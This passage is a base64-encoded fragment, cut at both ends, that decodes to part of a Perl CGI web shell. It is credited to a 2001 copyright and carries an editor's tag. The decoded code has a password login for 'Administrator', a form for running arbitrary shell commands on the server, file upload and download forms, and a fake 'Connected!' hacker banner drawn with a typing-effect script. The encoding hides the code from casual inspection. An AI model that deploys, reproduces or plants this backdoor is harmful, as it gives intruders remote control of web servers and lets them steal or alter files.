5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxmb250IHN0eWxlPSJmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7Ij5Db3B5cmlnaHQgKEMpIDIwMDEgUm9oaXRhYiBCYXRyYSA8L2ZvbnQ+PGJyPjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkI